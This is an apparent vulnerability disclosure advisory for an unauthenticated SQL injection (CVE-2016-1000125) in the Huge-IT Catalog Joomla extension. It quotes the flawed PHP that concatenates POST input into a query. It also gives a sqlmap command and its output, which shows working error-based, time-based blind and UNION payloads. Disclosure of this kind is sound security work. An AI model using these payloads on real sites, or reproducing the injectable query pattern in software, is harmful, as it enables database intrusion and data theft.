Unauthenticated SQL Injection in Huge-IT Catalog v1.0.7 for Joomla

["Larry W. Cashdollar" <larry0 () me com>]

Title: Unauthenticated SQL Injection in Huge-IT Catalog v1.0.7 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-16
Download Site: http://huge-it.com/joomla-catalog/
Vendor: huge-it.com
Vendor Notified: 2016-09-17
Vendor Contact: info () huge-it com
Description: Huge-IT Product Catalog is made for demonstration, sale, advertisements for your products. Imagine a stand 
with a variety of catalogs with a specific product category. To imagine is not difficult, to use is even easier.
Vulnerability:
The following code does not prevent an unauthenticated user from injecting SQL into functions via 
'load_more_elements_into_catalog' located in ajax_url.php. Vulnerable Code in : ajax_url.php 11 define('_JEXEC', 1); 12 
defined('_JEXEC') or die('Restircted access'); . . . 308 } elseif ($_POST["post"] == "load_more_elements_into_catalog") 
{ 309 $catalog_id = $_POST["catalog_id"]; 310 $old_count = $_POST["old_count"]; 311 $count_into_page = 
$_POST["count_into_page"]; 312 $show_thumbs = $_POST["show_thumbs"]; 313 $show_description = 
$_POST["show_description"]; 314 $show_linkbutton = $_POST["show_linkbutton"]; 315 $parmalink = $_POST["parmalink"]; 316 
$level = $_POST['level']; . . . 359 $query->select('*'); 360 $query->from('#__huge_it_catalog_products'); 361 
$query->where('catalog_id =' . $catalog_id); 362 $query->order('ordering asc'); 363 $db->setQuery($query, $from, 
$count_into_page);
CVE-2016-1000125

Exploit Code:
$ sqlmap -u 'http://example.com/components/com_catalog/ajax_url.php' 
--data="prod_page=1&post=load_more_elements_into_catalog&catalog_id=*&old_count=*&count_into_page=*&show_thumbs=*&show_description=*&parmalink=*"
 --level=5 --risk=3
 
Parameter: #1* ((custom) POST)
 Type: error-based
 Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
 Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-2369 OR 1 GROUP BY CONCAT(0x717a627871,(SELECT 
(CASE WHEN (1973=1973) THEN 1 ELSE 0 END)),0x716b787671,FLOOR(RAND(0)*2)) HAVING 
MIN(0)#&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=
 
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 time-based blind - Parameter replace
 Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=(CASE WHEN (7371=7371) THEN SLEEP(5) ELSE 7371 
END)&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=
 
 Type: UNION query
 Title: Generic UNION query (random number) - 15 columns
 Payload: prod_page=1&post=load_more_elements_into_catalog&catalog_id=-5943 UNION ALL SELECT 
2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,2434,CONCAT(0x717a627871,0x494a475477424c724f6f7853556d61597544576f4b614d6e41596771595253476c4251797a685974,0x716b787671)--
 FvOy&old_count=&count_into_page=&show_thumbs=&show_description=&parmalink=
---
[16:48:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8.0 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.12
[16:48:10] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 6637 times
[16:48:10] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
 
[*] shutting down at 16:48:10
 

Advisory: http://www.vapidlabs.com/advisory.php?v=171